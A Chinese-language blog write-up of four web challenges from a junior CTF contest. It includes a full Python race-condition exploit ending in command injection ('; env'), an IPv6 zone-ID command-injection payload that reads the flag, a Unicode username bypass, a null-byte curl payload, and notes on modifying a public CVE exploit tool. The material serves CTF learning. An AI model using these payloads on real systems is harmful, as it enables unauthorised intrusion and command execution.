Featured image of post nu1l junior web WP

nu1l junior web WP

好久没有写博客了

n1j wp

感觉题比我想象的简单,但是也暴露了很多问题,只写出来四道题,有一道简单的题因为基础不好卡了太久,不然还能挑战一下压轴

bun

体验了一次一血

这个题目是一号位,一开始写的就是他,题眼也比较明显,就第一个出了

这个题目里面,登陆逻辑被拆成了两份,用户名和密码通过前端生成的随机session为纽带分开提交,通过源码得知我们有两个用户admin和guest

题目在得到前端发来的guest密码之后会await挂起,过一段时间返回guest用户密码匹配的认证结果,如果在这个时间间隙在申请同一个session的用户名匹配请求(同步的)覆盖变量里面记录的guest为admin,guest认证通过的结果就会记录到admin上, await结束得到admin权限

得到admin之后需要绕开限制执行rce,bun的设计输入shell的内容会被转义,但是留了个开发用的后门可以按原字符拼接进去

这个竞争状态卡的时间非常死,脚本是ai提供的,用了http长连接+多线程来提高成功率

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import threading
import time
import urllib3

TARGET = "http://60.205.163.215:45502/"
SESSION_ID = "script_race_v8"

s_verify = requests.Session()
s_init = requests.Session()

def attack_attempt(attempt_id):
    try:
        s_init.post(f"{TARGET}/api/auth/init", json={
            "sessionId": SESSION_ID,
            "username": "guest"
        }, timeout=3)
    except:
        return False, None

    def do_verify():
        try:
            s_verify.post(f"{TARGET}/api/auth/verify", json={
                "sessionId": SESSION_ID,
                "password": "guest"
            }, timeout=3)
        except:
            pass

    def do_switch_admin():
        try:
            s_init.post(f"{TARGET}/api/auth/init", json={
                "sessionId": SESSION_ID,
                "username": "admin"
            }, timeout=3)
        except:
            pass

    t_v = threading.Thread(target=do_verify)
    t_i = threading.Thread(target=do_switch_admin)

    t_v.start()
    # time.sleep(0.005)
    t_i.start()

    t_v.join()
    t_i.join()

    try:
        res = requests.get(f"{TARGET}/api/user/me?sessionId={SESSION_ID}", timeout=2)
        if "admin" in res.text:
            return True, res.text
    except:
        pass

    return False, None

print(f"[*] Targeting: {TARGET}")
print("[*] 开始多线程长连接攻击...")

success = False
for i in range(1, 1001):
    is_success, data = attack_attempt(i)
    if is_success:
        print(f"\n\n[SUCCESS] 第 {i} 次尝试成功!")
        print(f"User Info: {data}")
        success = True
        break
    else:
        print(f"\r[-] Attempt {i} failed...", end="")

if success:
    print("\n[*] 执行 RCE...")
    try:
        res = requests.post(
            f"{TARGET}/api/admin/diagnose?sessionId={SESSION_ID}",
            json={"tool": "uptime", "target": {"raw": "; env"}},
            timeout=5
        )
        print(res.text)
    except Exception as e:
        print(e)

执行结果:

1
2
3
4
5
6
7
8
9
[*] Targeting: http://60.205.163.215:45502/
[*] 开始多线程长连接攻击...
[-] Attempt 11 failed...

[SUCCESS]  12 次尝试成功!
User Info: {"username":"admin","role":"admin","secret":"System Access Granted"}

[*] 执行 RCE...
{"output":" 11:37:25 up 19 min,  0 users,  load average: 0.00, 0.00, 0.00\nKUBERNETES_SERVICE_PORT=6443\nKUBERNETES_PORT=tcp://192.168.0.1:443\nHOSTNAME=t105717349121812087-comp-bundle-1124084497651077609vv9z\nBUN_INSTALL_BIN=/usr/local/bin\nECI_CONTAINER_TYPE=normal\nSHLVL=1\nPORT=3000\nHOME=/root\naliyun_log_crd_user_defined_id=k8s-group-c2e91cace63644627963a8b671e2fed0c\nKUBERNETES_PORT_443_TCP_ADDR=192.168.0.1\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nKUBERNETES_SERVICE_PORT_HTTPS=6443\nKUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443\nKUBERNETES_SERVICE_HOST=apiserver.c2e91cace63644627963a8b671e2fed0c.cn-beijing.cs.aliyuncs.com\nPWD=/app\nNODE_ENV=production\nFLAG=flag{18b076f1-fd7f-4124-92e3-2dbf686d3cd2}\nBUN_RUNTIME_TRANSPILER_CACHE_PATH=0\n"}

addr

签到题

怎么说呢,我开始没好好看代码,用假密钥伪造session之后就一直折腾绕过方法,然后发现源码给的密钥和线上的不一样,就惯性思维想着爆破或者其他什么手段搞到密钥,结果折腾半天还是绕过这个要绕过这个admin的判定

伪造身份

用户名输入 Admın unicode 绕过

1
2
3
4
5
>>> c = 'Admın'
>>> c.upper()
'ADMIN'
>>> c.lower()
'admın'

这里登陆上去后端已经过了可以执行命令,但是前段的检测过不了,一开始还以为失败了

cmdi

去搜一下这个ipaddress发现如下设定

Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See RFC 4007 for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.

使用如下代码可以把拼接的命令伪装成Ipv6的zone ID,这部分的检查松一些 ::1%;cd ..;cat flag

next_waf

只是next+waf

有大佬用go写了个利用cvE-2025-55182的exp工具,里面有绕过waf的功能,我之前还想着正常有漏洞就直接更新了,怎么会有人在漏洞上加waf让你绕呢

工具里面有防止攻击中国ip的检测,把pkg/utils/security.go的CheckSecurity函数的return false改成true,再把弹窗删掉就行了 展示

pacman

绕了好大一圈

这个题的文件我给删了,只能靠记忆复盘了

这个题目中间有一个非常奇怪的写法,把一个可以直接赋值的变量中间塞了一步邮箱解析,这个解析的判定也很宽泛就造成的混淆的空间

一开始主要盯上了下面这段代码

1
2
const len = parsed.length;
const senderEntry = parsed[len - 1];

这个部分的功能应该是把解析出来的用户设置为sendEntry,但是实际的效果是把所有解析出来的用户的最后一个设置为用户,感觉就是要在一个判定里面设置两个用户来绕过检测,我构造了下面这个payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
const addressparser = require("./addressparser");

const user = ") test@test ; Adm()inistrator a()dmin@adm()in.com (";
const email = `${user}@test.com`;

const rawFrom = `${user} <${email}>`;
const parsed = addressparser(rawFrom);
console.log(parsed);

const len = parsed.length;
const senderEntry = parsed[len - 1];
console.log(senderEntry);

解析出来得到

1
2
3
4
5
6
[
  { address: 'test@test', name: ')' },
  { address: 'test@test', name: 'Administrator admin@admin.com' },
  { address: 'admin@admin.com', name: 'Administrator' }
]
{ address: 'admin@admin.com', name: 'Administrator' }

但是后面的没法办了,最后还是用%00直接绕过的,根本没用len - 1 的逻辑,事后联系出题人才知道这个东西是为了防止非预期的,不是重点(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
curl -X POST http://60.205.163.215:38301/register \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "username=Ad%00ministrator%09adm%00in@adm%00in.com(&password=123" \
            -c cookies.txt


curl -X POST http://60.205.163.215:38301/send \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "recipientUsername=test&subject=desuwa&content=desuwa" \
            -b cookies.txt

闲话

这次比赛题目本身不难,但是有两道简单题目的绕过因为见识太少没有想到用,耽误了很多时间,感觉自己还是需要多做题,涨涨见识啊 之前期末一直比较忙,打的一些比赛也没有记录,我看有些师傅一天几更,希望也能坚持记录吧

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计